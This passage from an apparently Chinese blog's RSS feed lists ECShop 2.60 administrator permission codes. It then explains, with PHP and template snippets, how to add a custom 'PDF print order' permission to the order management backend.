surplus_manage,会员余额管理<br />
account_manage,会员账户管理</p>
<p>4、权限管理，共有7个权限项目，以下分别是：</p>
<p>template_manage,<span class="t_tag" onclick="tagshow(event)">模板</span>管理<br />
admin_manage,管理员添加/编辑<br />
admin_drop,删除管理员<br />
allot_priv,分派权限<br />
logs_manage,管理日志列表<br />
logs_drop,删除管理日志<br />
agency_manage,办事处管理</p>
<p>5、系统设置，共有9个权限项目，以下分别是：<br />
shop_config,商店设置<br />
ship_manage, <span class="t_tag" onclick="tagshow(event)">配送</span>方式管理<br />
payment,<span class="t_tag" onclick="tagshow(event)">支付</span>方式管理<br />
shiparea_manage,配送区域管理<br />
area_manage,地区列表管理<br />
friendlink,友情<span class="t_tag" onclick="tagshow(event)">链接</span>管理<br />
db_backup,数据库备份<br />
db_renew,数据库恢复<br />
<span class="t_tag" onclick="tagshow(event)">flash</span>_manage，Flash 播放器管理</p>
<p>6、订单管理，共有10个权限项目，以下分别是：<br />
order_os_edit,编辑订单状态<br />
order_ps_edit,编辑<span class="t_tag" onclick="tagshow(event)">付款</span>状态<br />
order_ss_edit,编辑<span class="t_tag" onclick="tagshow(event)">发货</span>状态<br />
order_edit,添加编辑订单<br />
order_view,查看未完成订单<br />
order_view_finished,查看已完成订单<br />
repay_manage,退款申请管理<br />
booking,缺货登记管理<br />
sale_order_stats,订单销售统计<br />
client_flow_stats,客户流量统计<br />
7、促销管理，共有6个权限项目，以下分别是：<br />
snatch_manage,夺宝奇兵<br />
ad_manage,<span class="t_tag" onclick="tagshow(event)">广告</span>管理<br />
gift_manage,赠品管理<br />
card_manage,祝福贺卡<br />
pack,商品包装<br />
bonus_manage,红包管理</p>
<p>三 订单操作权限的开发</p>
<p>上面提到的权限列表是我们比较常用的一些，我们具体来看下针对订单操作权限，主要是</p>
<p>order_os_edit,编辑订单状态<br />
order_ps_edit,编辑付款状态<br />
order_ss_edit,编辑发货状态<br />
order_edit,添加编辑订单<br />
order_view,查看未完成订单</p>
<p>假如我们某一个管理员需要”PDF打印订单”权限，(假设”PDF打印”<span class="t_tag" onclick="tagshow(event)">功能</span>已经实现），我们来看以下具体的操作步骤</p>
<p>1.首先在数据库ecs_admin_action中插入一行code为”pdf_manage”，parents_id为6(sql语句）</p>
<p>2.在language/admin/priv_action.php中找到”//订单管理部分权限”，在下面新加一行<br />
$_LANG['pdf_manage'] = ‘PDF打印管理’;<br />
3.在后台编辑某管理员权限<span class="t_tag" onclick="tagshow(event)">页面</span>，我们可以看到这个选项，分配给他。</p>
<p>当然这个时候该管理员还没有真正拥有这个权限。打开admin/order.php <span class="t_tag" onclick="tagshow(event)">搜索</span>$priv_list(大概在2950行)<br />
修改<span class="t_tag" onclick="tagshow(event)">代码</span>为以下部分:</p>
<p>/* 取得订单操作权限 */<br />
$actions = $_SESSION['action_list'];<br />
if ($actions == ‘all’)<br />
{<br />
$priv_list  = array(’os’ =&gt; true, ’ss’ =&gt; true, ‘ps’ =&gt; true, ‘edit’ =&gt; true,‘pdf_manage’=&gt;true);<br />
//如果是拥有所有权限(比如admin)，分配他PDF打印权限，当然如果你希望是特定的某一个人，这行可以不加<br />
}<br />
else<br />
{<br />
$actions    = ‘,’ . $actions . ‘,’;<br />
$priv_list  = array(<br />
‘os’    =&gt; strpos($actions, ‘,order_os_edit,’) !== false,<br />
’ss’    =&gt; strpos($actions, ‘,order_ss_edit,’) !== false,<br />
‘ps’    =&gt; strpos($actions, ‘,order_ps_edit,’) !== false,<br />
‘edit’  =&gt; strpos($actions, ‘,order_edit,’) !== false,<br />
‘pdf_manage’  =&gt; strpos($actions, ‘,pdf_manage,’) !== false</p>
<p>);<br />
}<br />
if ($priv_list['pdf_manage'])<br />
{<br />
$list['pdf_manage']    = true; // 确认<br />
}<br />
最后，在模板admin/templates/order_info.htm中找到合适的位置添加如下代码：<br />
{if $operable_list.pdf_manage}<br />
&lt;input name=”pdf_creat” type=”submit” value=”{$lang.pdf_creat}” class=”button” /&gt;<br />
{/if}<br />
好了一次简单的”订单操作权限”扩展功能就完成，接下来该做什么了呢？呵呵，还不是该去喝口茶的时候<br />
测试–花费更多的<span class="t_tag" onclick="tagshow(event)">时间</span>测试以保证你所做的一切是可用的。这个更重要~</p>
<p align="left">
<p align="left"><span style="font-family: Helvetica;"><span>(注：以上代码均以ECshop当前最新版本2.60为基础）</span></span></p>
<div style="text-align: -webkit-left;"><span><br />
</span></div>
]]></content:encoded>
			<wfw:commentRss>http://tinydoo.cn/2008/7.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
